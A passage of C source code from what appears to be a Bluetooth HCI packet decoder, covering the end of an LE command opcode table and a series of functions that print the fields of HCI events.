{ 0x2027, 275, "LE Add Device To Resolving List",
le_add_to_resolv_list_cmd, 39, true,
status_rsp, 1, true },
{ 0x2028, 276, "LE Remove Device From Resolving List",
le_remove_from_resolv_list_cmd, 7, true,
status_rsp, 1, true },
{ 0x2029, 277, "LE Clear Resolving List",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x202a, 278, "LE Read Resolving List Size",
null_cmd, 0, true,
le_read_resolv_list_size_rsp, 2, true },
{ 0x202b, 279, "LE Read Peer Resolvable Address",
le_read_peer_resolv_addr_cmd, 7, true,
le_read_peer_resolv_addr_rsp, 7, true },
{ 0x202c, 280, "LE Read Local Resolvable Address",
le_read_local_resolv_addr_cmd, 7, true,
le_read_local_resolv_addr_rsp, 7, true },
{ 0x202d, 281, "LE Set Address Resolution Enable",
le_set_resolv_enable_cmd, 1, true,
status_rsp, 1, true },
{ 0x202e, 282, "LE Set Resolvable Private Address Timeout",
le_set_resolv_timeout_cmd, 2, true,
status_rsp, 1, true },
{ 0x202f, 283, "LE Read Maximum Data Length",
null_cmd, 0, true,
le_read_max_data_length_rsp, 9, true },
{ 0x2030, 284, "LE Read PHY",
le_read_phy_cmd, 2, true,
le_read_phy_rsp, 5, true},
{ 0x2031, 285, "LE Set Default PHY",
le_set_default_phy_cmd, 3, true,
status_rsp, 1, true },
{ 0x2032, 286, "LE Set PHY",
le_set_phy_cmd, 7, true},
{ 0x2033, 287, "LE Enhanced Receiver Test",
le_enhanced_receiver_test_cmd, 3, true,
status_rsp, 1, true },
{ 0x2034, 288, "LE Enhanced Transmitter Test",
le_enhanced_transmitter_test_cmd, 4, true,
status_rsp, 1, true },
{ 0x2035, 289, "LE Set Advertising Set Random Address",
le_set_adv_set_rand_addr, 7, true,
status_rsp, 1, true },
{ 0x2036, 290, "LE Set Extended Advertising Parameters",
le_set_ext_adv_params_cmd, 25, true,
le_set_ext_adv_params_rsp, 2, true },
{ 0x2037, 291, "LE Set Extended Advertising Data",
le_set_ext_adv_data_cmd, 4, false,
status_rsp, 1, true },
{ 0x2038, 292, "LE Set Extended Scan Response Data",
le_set_ext_scan_rsp_data_cmd, 4, false,
status_rsp, 1, true },
{ 0x2039, 293, "LE Set Extended Advertising Enable",
le_set_ext_adv_enable_cmd, 2, false,
status_rsp, 1, true },
{ 0x203a, 294, "LE Read Maximum Advertising Data Length",
null_cmd, 0, true,
le_read_max_adv_data_len_rsp, 3, true },
{ 0x203b, 295, "LE Read Number of Supported Advertising Sets",
null_cmd, 0, true,
le_read_num_supported_adv_sets_rsp, 2, true },
{ 0x203c, 296, "LE Remove Advertising Set",
le_remove_adv_set_cmd, 1, true,
status_rsp, 1, true },
{ 0x203d, 297, "LE Clear Advertising Sets",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x203e, 298, "LE Set Periodic Advertising Parameters",
le_set_periodic_adv_params_cmd, 7, true,
status_rsp, 1, true },
{ 0x203f, 299, "LE Set Periodic Advertising Data",
le_set_periodic_adv_data_cmd, 3, false,
status_rsp, 1, true },
{ 0x2040, 300, "LE Set Periodic Advertising Enable",
le_set_periodic_adv_enable_cmd, 2, true,
status_rsp, 1, true },
{ 0x2041, 301, "LE Set Extended Scan Parameters",
le_set_ext_scan_params_cmd, 3, false,
status_rsp, 1, true },
{ 0x2042, 302, "LE Set Extended Scan Enable",
le_set_ext_scan_enable_cmd, 6, true,
status_rsp, 1, true },
{ 0x2043, 303, "LE Extended Create Connection",
le_ext_create_conn_cmd, 10, false,
status_rsp, 1, true },
{ 0x2044, 304, "LE Periodic Advertising Create Sync",
le_periodic_adv_create_sync_cmd, 14, true,
status_rsp, 1, true },
{ 0x2045, 305, "LE Periodic Advertising Create Sync Cancel",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x2046, 306, "LE Periodic Advertising Terminate Sync",
le_periodic_adv_term_sync_cmd, 2, true,
status_rsp, 1, true },
{ 0x2047, 307, "LE Add Device To Periodic Advertiser List",
le_add_dev_periodic_adv_list_cmd, 8, true,
status_rsp, 1, true },
{ 0x2048, 308, "LE Remove Device From Periodic Advertiser List",
le_remove_dev_periodic_adv_list_cmd, 8, true,
status_rsp, 1, true },
{ 0x2049, 309, "LE Clear Periodic Advertiser List",
null_cmd, 0, true,
status_rsp, 1, true },
{ 0x204a, 310, "LE Read Periodic Advertiser List Size",
null_cmd, 0, true,
le_read_periodic_adv_list_size_rsp, 2, true },
{ 0x204b, 311, "LE Read Transmit Power",
null_cmd, 0, true,
le_read_tx_power_rsp, 3, true },
{ 0x204c, 312, "LE Read RF Path Compensation",
null_cmd, 0, true,
le_read_rf_path_comp_rsp, 5, true },
{ 0x204d, 313, "LE Write RF Path Compensation",
le_write_rf_path_comp_cmd, 4, true,
status_rsp, 1, true },
{ 0x204e, 314, "LE Set Privacy Mode",
le_set_priv_mode_cmd, 8, true,
status_rsp, 1, true },
{ 0x204f, 315, "LE Receiver Test command [v3]",
le_receiver_test_cmd_v3, 7, false,
status_rsp, 1, true },
{ 0x2050, 316, "LE Transmitter Test command [v3]",
le_tx_test_cmd_v3, 9, false,
status_rsp, 1, true },
{ 0x2059, 325, "LE Periodic Advertising Receive Enable",
le_periodic_adv_rec_enable, 3, true,
status_rsp, 1, true },
{ 0x205a, 326, "LE Periodic Advertising Sync Transfer",
le_periodic_adv_sync_trans, 6, true,
status_handle_rsp, 3, true },
{ 0x205b, 327, "LE Periodic Advertising Set Info Transfer",
le_periodic_adv_set_info_trans, 5, true,
status_handle_rsp, 3, true },
{ 0x205c, 328, "LE Periodic Advertising Sync Transfer Parameters",
le_periodic_adv_sync_trans_params, 8, true,
status_handle_rsp, 3, true},
{ 0x205d, 329, "LE Set Default Periodic Advertisng Sync Transfer "
"Parameters",
le_set_default_periodic_adv_sync_trans_params,
6, true, status_rsp, 1, true},
{ BT_HCI_CMD_LE_READ_BUFFER_SIZE_V2,
BT_HCI_BIT_LE_READ_BUFFER_SIZE_V2,
"LE Read Buffer v2",
null_cmd, 0, true,
le_read_buffer_size_v2_rsp,
sizeof(
struct bt_hci_rsp_le_read_buffer_size_v2),
true },
{ BT_HCI_CMD_LE_READ_ISO_TX_SYNC,
BT_HCI_BIT_LE_READ_ISO_TX_SYNC,
"LE Read ISO TX Sync",
le_read_iso_tx_sync_cmd,
sizeof(struct bt_hci_cmd_le_read_iso_tx_sync),
true,
le_read_iso_tx_sync_rsp,
sizeof(struct bt_hci_rsp_le_read_iso_tx_sync),
true },
{ BT_HCI_CMD_LE_SET_CIG_PARAMS, BT_HCI_BIT_LE_SET_CIG_PARAMS,
"LE Set Connected Isochronous Group Parameters",
le_set_cig_params_cmd,
sizeof(struct bt_hci_cmd_le_set_cig_params),
false,
le_set_cig_params_rsp,
sizeof(struct bt_hci_rsp_le_set_cig_params),
false },
{ BT_HCI_CMD_LE_SET_CIG_PARAMS_TEST, BT_HCI_BIT_LE_SET_CIG_PARAMS_TEST,
"LE Set Connected Isochronous Group Parameters"
" Test", le_set_cig_params_test_cmd,
sizeof(
struct bt_hci_cmd_le_set_cig_params_test),
false,
le_set_cig_params_rsp,
sizeof(struct bt_hci_rsp_le_set_cig_params),
false },
{ BT_HCI_CMD_LE_CREATE_CIS, BT_HCI_BIT_LE_CREATE_CIS,
"LE Create Connected Isochronous Stream",
le_create_cis_cmd,
sizeof(struct bt_hci_cmd_le_create_cis),
false },
{ BT_HCI_CMD_LE_REMOVE_CIG, BT_HCI_BIT_LE_REMOVE_CIG,
"LE Remove Connected Isochronous Group",
le_remove_cig_cmd,
sizeof(struct bt_hci_cmd_le_remove_cig), false,
le_remove_cig_rsp,
sizeof(struct bt_hci_rsp_le_remove_cig),
false },
{ BT_HCI_CMD_LE_ACCEPT_CIS, BT_HCI_BIT_LE_ACCEPT_CIS,
"LE Accept Connected Isochronous Stream Request",
le_accept_cis_req_cmd,
sizeof(struct bt_hci_cmd_le_accept_cis), true },
{ BT_HCI_CMD_LE_REJECT_CIS, BT_HCI_BIT_LE_REJECT_CIS,
"LE Reject Connected Isochronous Stream Request",
le_reject_cis_req_cmd,
sizeof(struct bt_hci_cmd_le_reject_cis), true,
status_rsp, 1, true },
{ BT_HCI_CMD_LE_CREATE_BIG, BT_HCI_BIT_LE_CREATE_BIG,
"LE Create Broadcast Isochronous Group",
le_create_big_cmd },
{ BT_HCI_CMD_LE_CREATE_BIG_TEST, BT_HCI_BIT_LE_CREATE_BIG_TEST,
"LE Create Broadcast Isochronous Group Test",
le_create_big_cmd_test_cmd },
{ BT_HCI_CMD_LE_TERM_BIG, BT_HCI_BIT_LE_TERM_BIG,
"LE Terminate Broadcast Isochronous Group",
le_terminate_big_cmd,
sizeof(struct bt_hci_cmd_le_term_big), true,
status_rsp, 1, true},
{ BT_HCI_CMD_LE_BIG_CREATE_SYNC, BT_HCI_BIT_LE_BIG_CREATE_SYNC,
"LE Broadcast Isochronous Group Create Sync",
le_big_create_sync_cmd,
sizeof(struct bt_hci_cmd_le_big_create_sync),
false },
{ BT_HCI_CMD_LE_BIG_TERM_SYNC, BT_HCI_BIT_LE_BIG_TERM_SYNC,
"LE Broadcast Isochronous Group Terminate Sync",
le_big_term_sync_cmd,
sizeof(struct bt_hci_cmd_le_big_term_sync),
true },
{ BT_HCI_CMD_LE_REQ_PEER_SCA, BT_HCI_BIT_LE_REQ_PEER_SCA,
"LE Request Peer SCA", le_req_peer_sca_cmd,
sizeof(struct bt_hci_cmd_le_req_peer_sca),
true },
{ BT_HCI_CMD_LE_SETUP_ISO_PATH, BT_HCI_BIT_LE_SETUP_ISO_PATH,
"LE Setup Isochronous Data Path",
le_setup_iso_path_cmd,
sizeof(struct bt_hci_cmd_le_setup_iso_path),
true, le_setup_iso_path_rsp,
sizeof(struct bt_hci_rsp_le_setup_iso_path),
true },
{ BT_HCI_CMD_LE_REMOVE_ISO_PATH, BT_HCI_BIT_LE_REMOVE_ISO_PATH,
"LE Remove Isochronous Data Path",
le_remove_iso_path_cmd,
sizeof(struct bt_hci_cmd_le_remove_iso_path),
true, status_rsp, 1, true },
{ BT_HCI_CMD_LE_ISO_TX_TEST, BT_HCI_BIT_LE_ISO_TX_TEST,
"LE Isochronous Transmit Test", NULL, 0,
false },
{ BT_HCI_CMD_LE_ISO_RX_TEST, BT_HCI_BIT_LE_ISO_RX_TEST,
"LE Isochronous Receive Test", NULL, 0,
false },
{ BT_HCI_CMD_LE_ISO_READ_TEST_COUNTER,
BT_HCI_BIT_LE_ISO_READ_TEST_COUNTER,
"LE Isochronous Read Test Counters", NULL, 0,
false },
{ BT_HCI_CMD_LE_ISO_TEST_END, BT_HCI_BIT_LE_ISO_TEST_END,
"LE Isochronous Read Test Counters", NULL, 0,
false },
{ BT_HCI_CMD_LE_SET_HOST_FEATURE, BT_HCI_BIT_LE_SET_HOST_FEATURE,
"LE Set Host Feature", le_set_host_feature_cmd,
sizeof(struct bt_hci_cmd_le_set_host_feature),
true, status_rsp, 1, true },
{ }
};
static const char *get_supported_command(int bit)
{
int i;
for (i = 0; opcode_table[i].str; i++) {
if (opcode_table[i].bit == bit)
return opcode_table[i].str;
}
return NULL;
}
static const char *current_vendor_str(void)
{
uint16_t manufacturer, msft_opcode;
if (index_current < MAX_INDEX) {
manufacturer = index_list[index_current].manufacturer;
msft_opcode = index_list[index_current].msft_opcode;
} else {
manufacturer = fallback_manufacturer;
msft_opcode = BT_HCI_CMD_NOP;
}
if (msft_opcode != BT_HCI_CMD_NOP)
return "Microsoft";
switch (manufacturer) {
case 2:
return "Intel";
case 15:
return "Broadcom";
case 93:
return "Realtek";
}
return NULL;
}
static const struct vendor_ocf *current_vendor_ocf(uint16_t ocf)
{
uint16_t manufacturer, msft_opcode;
if (index_current < MAX_INDEX) {
manufacturer = index_list[index_current].manufacturer;
msft_opcode = index_list[index_current].msft_opcode;
} else {
manufacturer = fallback_manufacturer;
msft_opcode = BT_HCI_CMD_NOP;
}
if (msft_opcode != BT_HCI_CMD_NOP &&
cmd_opcode_ocf(msft_opcode) == ocf)
return msft_vendor_ocf();
switch (manufacturer) {
case 2:
return intel_vendor_ocf(ocf);
case 15:
return broadcom_vendor_ocf(ocf);
}
return NULL;
}
static const struct vendor_evt *current_vendor_evt(uint8_t evt)
{
uint16_t manufacturer, msft_opcode;
if (index_current < MAX_INDEX) {
manufacturer = index_list[index_current].manufacturer;
msft_opcode = index_list[index_current].msft_opcode;
} else {
manufacturer = fallback_manufacturer;
msft_opcode = BT_HCI_CMD_NOP;
}
if (msft_opcode != BT_HCI_CMD_NOP)
return NULL;
switch (manufacturer) {
case 2:
return intel_vendor_evt(evt);
case 15:
return broadcom_vendor_evt(evt);
}
return NULL;
}
static void inquiry_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_inquiry_complete *evt = data;
print_status(evt->status);
}
static void inquiry_result_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_inquiry_result *evt = data;
print_num_resp(evt->num_resp);
print_bdaddr(evt->bdaddr);
print_pscan_rep_mode(evt->pscan_rep_mode);
print_pscan_period_mode(evt->pscan_period_mode);
print_pscan_mode(evt->pscan_mode);
print_dev_class(evt->dev_class);
print_clock_offset(evt->clock_offset);
if (size > sizeof(*evt))
packet_hexdump(data + sizeof(*evt), size - sizeof(*evt));
}
static void conn_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_conn_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_bdaddr(evt->bdaddr);
print_link_type(evt->link_type);
print_enable("Encryption", evt->encr_mode);
if (evt->status == 0x00)
assign_handle(le16_to_cpu(evt->handle), 0x00);
}
static void conn_request_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_conn_request *evt = data;
print_bdaddr(evt->bdaddr);
print_dev_class(evt->dev_class);
print_link_type(evt->link_type);
}
static void disconnect_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_disconnect_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_reason(evt->reason);
if (evt->status == 0x00)
release_handle(le16_to_cpu(evt->handle));
}
static void auth_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_auth_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
}
static void remote_name_request_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_remote_name_request_complete *evt = data;
print_status(evt->status);
print_bdaddr(evt->bdaddr);
print_name(evt->name);
}
static void encrypt_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_encrypt_change *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_encr_mode_change(evt->encr_mode, evt->handle);
}
static void change_conn_link_key_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_change_conn_link_key_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
}
static void master_link_key_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_master_link_key_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_key_flag(evt->key_flag);
}
static void remote_features_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_remote_features_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_features(0, evt->features, 0x00);
}
static void remote_version_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_remote_version_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_lmp_version(evt->lmp_ver, evt->lmp_subver);
print_manufacturer(evt->manufacturer);
switch (le16_to_cpu(evt->manufacturer)) {
case 15:
print_manufacturer_broadcom(evt->lmp_subver, 0xffff);
break;
}
}
static void qos_setup_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_qos_setup_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_field("Flags: 0x%2.2x", evt->flags);
print_service_type(evt->service_type);
print_field("Token rate: %d", le32_to_cpu(evt->token_rate));
print_field("Peak bandwidth: %d", le32_to_cpu(evt->peak_bandwidth));
print_field("Latency: %d", le32_to_cpu(evt->latency));
print_field("Delay variation: %d", le32_to_cpu(evt->delay_variation));
}
static void cmd_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_cmd_complete *evt = data;
uint16_t opcode = le16_to_cpu(evt->opcode);
uint16_t ogf = cmd_opcode_ogf(opcode);
uint16_t ocf = cmd_opcode_ocf(opcode);
struct opcode_data vendor_data;
const struct opcode_data *opcode_data = NULL;
const char *opcode_color, *opcode_str;
char vendor_str[150];
int i;
for (i = 0; opcode_table[i].str; i++) {
if (opcode_table[i].opcode == opcode) {
opcode_data = &opcode_table[i];
break;
}
}
if (opcode_data) {
if (opcode_data->rsp_func)
opcode_color = COLOR_HCI_COMMAND;
else
opcode_color = COLOR_HCI_COMMAND_UNKNOWN;
opcode_str = opcode_data->str;
} else {
if (ogf == 0x3f) {
const struct vendor_ocf *vnd = current_vendor_ocf(ocf);
if (vnd) {
const char *str = current_vendor_str();
if (str) {
snprintf(vendor_str, sizeof(vendor_str),
"%s %s", str, vnd->str);
vendor_data.str = vendor_str;
} else
vendor_data.str = vnd->str;
vendor_data.rsp_func = vnd->rsp_func;
vendor_data.rsp_size = vnd->rsp_size;
vendor_data.rsp_fixed = vnd->rsp_fixed;
opcode_data = &vendor_data;
if (opcode_data->rsp_func)
opcode_color = COLOR_HCI_COMMAND;
else
opcode_color = COLOR_HCI_COMMAND_UNKNOWN;
opcode_str = opcode_data->str;
} else {
opcode_color = COLOR_HCI_COMMAND;
opcode_str = "Vendor";
}
} else {
opcode_color = COLOR_HCI_COMMAND_UNKNOWN;
opcode_str = "Unknown";
}
}
print_indent(6, opcode_color, "", opcode_str, COLOR_OFF,
" (0x%2.2x|0x%4.4x) ncmd %d", ogf, ocf, evt->ncmd);
if (!opcode_data || !opcode_data->rsp_func) {
if (size > 3) {
uint8_t status = *((uint8_t *) (data + 3));
print_status(status);
packet_hexdump(data + 4, size - 4);
}
return;
}
if (opcode_data->rsp_size > 1 && size - 3 == 1) {
uint8_t status = *((uint8_t *) (data + 3));
print_status(status);
return;
}
if (opcode_data->rsp_fixed) {
if (size - 3 != opcode_data->rsp_size) {
print_text(COLOR_ERROR, "invalid packet size");
packet_hexdump(data + 3, size - 3);
return;
}
} else {
if (size - 3 < opcode_data->rsp_size) {
print_text(COLOR_ERROR, "too short packet");
packet_hexdump(data + 3, size - 3);
return;
}
}
opcode_data->rsp_func(data + 3, size - 3);
}
static void cmd_status_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_cmd_status *evt = data;
uint16_t opcode = le16_to_cpu(evt->opcode);
uint16_t ogf = cmd_opcode_ogf(opcode);
uint16_t ocf = cmd_opcode_ocf(opcode);
const struct opcode_data *opcode_data = NULL;
const char *opcode_color, *opcode_str;
char vendor_str[150];
int i;
for (i = 0; opcode_table[i].str; i++) {
if (opcode_table[i].opcode == opcode) {
opcode_data = &opcode_table[i];
break;
}
}
if (opcode_data) {
opcode_color = COLOR_HCI_COMMAND;
opcode_str = opcode_data->str;
} else {
if (ogf == 0x3f) {
const struct vendor_ocf *vnd = current_vendor_ocf(ocf);
if (vnd) {
const char *str = current_vendor_str();
if (str) {
snprintf(vendor_str, sizeof(vendor_str),
"%s %s", str, vnd->str);
opcode_str = vendor_str;
} else
opcode_str = vnd->str;
opcode_color = COLOR_HCI_COMMAND;
} else {
opcode_color = COLOR_HCI_COMMAND;
opcode_str = "Vendor";
}
} else {
opcode_color = COLOR_HCI_COMMAND_UNKNOWN;
opcode_str = "Unknown";
}
}
print_indent(6, opcode_color, "", opcode_str, COLOR_OFF,
" (0x%2.2x|0x%4.4x) ncmd %d", ogf, ocf, evt->ncmd);
print_status(evt->status);
}
static void hardware_error_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_hardware_error *evt = data;
print_field("Code: 0x%2.2x", evt->code);
}
static void flush_occurred_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_flush_occurred *evt = data;
print_handle(evt->handle);
}
static void role_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_role_change *evt = data;
print_status(evt->status);
print_bdaddr(evt->bdaddr);
print_role(evt->role);
}
static void num_completed_packets_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_num_completed_packets *evt = data;
print_field("Num handles: %d", evt->num_handles);
print_handle(evt->handle);
print_field("Count: %d", le16_to_cpu(evt->count));
if (size > sizeof(*evt))
packet_hexdump(data + sizeof(*evt), size - sizeof(*evt));
}
static void mode_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_mode_change *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_mode(evt->mode);
print_interval(evt->interval);
}
static void return_link_keys_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_return_link_keys *evt = data;
uint8_t i;
print_field("Num keys: %d", evt->num_keys);
for (i = 0; i < evt->num_keys; i++) {
print_bdaddr(evt->keys + (i * 22));
print_link_key(evt->keys + (i * 22) + 6);
}
}
static void pin_code_request_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_pin_code_request *evt = data;
print_bdaddr(evt->bdaddr);
}
static void link_key_request_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_link_key_request *evt = data;
print_bdaddr(evt->bdaddr);
}
static void link_key_notify_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_link_key_notify *evt = data;
print_bdaddr(evt->bdaddr);
print_link_key(evt->link_key);
print_key_type(evt->key_type);
}
static void loopback_command_evt(const void *data, uint8_t size)
{
packet_hexdump(data, size);
}
static void data_buffer_overflow_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_data_buffer_overflow *evt = data;
print_link_type(evt->link_type);
}
static void max_slots_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_max_slots_change *evt = data;
print_handle(evt->handle);
print_field("Max slots: %d", evt->max_slots);
}
static void clock_offset_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_clock_offset_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_clock_offset(evt->clock_offset);
}
static void conn_pkt_type_changed_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_conn_pkt_type_changed *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_pkt_type(evt->pkt_type);
}
static void qos_violation_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_qos_violation *evt = data;
print_handle(evt->handle);
}
static void pscan_mode_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_pscan_mode_change *evt = data;
print_bdaddr(evt->bdaddr);
print_pscan_mode(evt->pscan_mode);
}
static void pscan_rep_mode_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_pscan_rep_mode_change *evt = data;
print_bdaddr(evt->bdaddr);
print_pscan_rep_mode(evt->pscan_rep_mode);
}
static void flow_spec_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_flow_spec_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_field("Flags: 0x%2.2x", evt->flags);
print_flow_direction(evt->direction);
print_service_type(evt->service_type);
print_field("Token rate: %d", le32_to_cpu(evt->token_rate));
print_field("Token bucket size: %d",
le32_to_cpu(evt->token_bucket_size));
print_field("Peak bandwidth: %d", le32_to_cpu(evt->peak_bandwidth));
print_field("Access latency: %d", le32_to_cpu(evt->access_latency));
}
static void inquiry_result_with_rssi_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_inquiry_result_with_rssi *evt = data;
print_num_resp(evt->num_resp);
print_bdaddr(evt->bdaddr);
print_pscan_rep_mode(evt->pscan_rep_mode);
print_pscan_period_mode(evt->pscan_period_mode);
print_dev_class(evt->dev_class);
print_clock_offset(evt->clock_offset);
print_rssi(evt->rssi);
if (size > sizeof(*evt))
packet_hexdump(data + sizeof(*evt), size - sizeof(*evt));
}
static void remote_ext_features_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_remote_ext_features_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_field("Page: %d/%d", evt->page, evt->max_page);
print_features(evt->page, evt->features, 0x00);
}
static void sync_conn_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_sync_conn_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_bdaddr(evt->bdaddr);
print_link_type(evt->link_type);
print_field("Transmission interval: 0x%2.2x", evt->tx_interval);
print_field("Retransmission window: 0x%2.2x", evt->retrans_window);
print_field("RX packet length: %d", le16_to_cpu(evt->rx_pkt_len));
print_field("TX packet length: %d", le16_to_cpu(evt->tx_pkt_len));
print_air_mode(evt->air_mode);
}
static void sync_conn_changed_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_sync_conn_changed *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_field("Transmission interval: 0x%2.2x", evt->tx_interval);
print_field("Retransmission window: 0x%2.2x", evt->retrans_window);
print_field("RX packet length: %d", le16_to_cpu(evt->rx_pkt_len));
print_field("TX packet length: %d", le16_to_cpu(evt->tx_pkt_len));
}
static void sniff_subrating_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_sniff_subrating *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_slot_625("Max transmit latency", evt->max_tx_latency);
print_slot_625("Max receive latency", evt->max_rx_latency);
print_slot_625("Min remote timeout", evt->min_remote_timeout);
print_slot_625("Min local timeout", evt->min_local_timeout);
}
static void ext_inquiry_result_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_ext_inquiry_result *evt = data;
print_num_resp(evt->num_resp);
print_bdaddr(evt->bdaddr);
print_pscan_rep_mode(evt->pscan_rep_mode);
print_pscan_period_mode(evt->pscan_period_mode);
print_dev_class(evt->dev_class);
print_clock_offset(evt->clock_offset);
print_rssi(evt->rssi);
print_eir(evt->data, sizeof(evt->data), false);
}
static void encrypt_key_refresh_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_encrypt_key_refresh_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
}
static void io_capability_request_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_io_capability_request *evt = data;
print_bdaddr(evt->bdaddr);
}
static void io_capability_response_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_io_capability_response *evt = data;
print_bdaddr(evt->bdaddr);
print_io_capability(evt->capability);
print_oob_data_response(evt->oob_data);
print_authentication(evt->authentication);
}
static void user_confirm_request_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_user_confirm_request *evt = data;
print_bdaddr(evt->bdaddr);
print_passkey(evt->passkey);
}
static void user_passkey_request_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_user_passkey_request *evt = data;
print_bdaddr(evt->bdaddr);
}
static void remote_oob_data_request_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_remote_oob_data_request *evt = data;
print_bdaddr(evt->bdaddr);
}
static void simple_pairing_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_simple_pairing_complete *evt = data;
print_status(evt->status);
print_bdaddr(evt->bdaddr);
}
static void link_supv_timeout_changed_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_link_supv_timeout_changed *evt = data;
print_handle(evt->handle);
print_timeout(evt->timeout);
}
static void enhanced_flush_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_enhanced_flush_complete *evt = data;
print_handle(evt->handle);
}
static void user_passkey_notify_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_user_passkey_notify *evt = data;
print_bdaddr(evt->bdaddr);
print_passkey(evt->passkey);
}
static void keypress_notify_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_keypress_notify *evt = data;
const char *str;
print_bdaddr(evt->bdaddr);
switch (evt->type) {
case 0x00:
str = "Passkey entry started";
break;
case 0x01:
str = "Passkey digit entered";
break;
case 0x02:
str = "Passkey digit erased";
break;
case 0x03:
str = "Passkey clared";
break;
case 0x04:
str = "Passkey entry completed";
break;
default:
str = "Reserved";
break;
}
print_field("Notification type: %s (0x%2.2x)", str, evt->type);
}
static void remote_host_features_notify_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_remote_host_features_notify *evt = data;
print_bdaddr(evt->bdaddr);
print_features(1, evt->features, 0x00);
}
static void phy_link_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_phy_link_complete *evt = data;
print_status(evt->status);
print_phy_handle(evt->phy_handle);
}
static void channel_selected_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_channel_selected *evt = data;
print_phy_handle(evt->phy_handle);
}
static void disconn_phy_link_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_disconn_phy_link_complete *evt = data;
print_status(evt->status);
print_phy_handle(evt->phy_handle);
print_reason(evt->reason);
}
static void phy_link_loss_early_warning_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_phy_link_loss_early_warning *evt = data;
const char *str;
print_phy_handle(evt->phy_handle);
switch (evt->reason) {
case 0x00:
str = "Unknown";
break;
case 0x01:
str = "Range related";
break;
case 0x02:
str = "Bandwidth related";
break;
case 0x03:
str = "Resolving conflict";
break;
case 0x04:
str = "Interference";
break;
default:
str = "Reserved";
break;
}
print_field("Reason: %s (0x%2.2x)", str, evt->reason);
}
static void phy_link_recovery_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_phy_link_recovery *evt = data;
print_phy_handle(evt->phy_handle);
}
static void logic_link_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_logic_link_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_phy_handle(evt->phy_handle);
print_field("TX flow spec: 0x%2.2x", evt->flow_spec);
}
static void disconn_logic_link_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_disconn_logic_link_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_reason(evt->reason);
}
static void flow_spec_modify_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_flow_spec_modify_complete *evt = data;
print_status(evt->status);
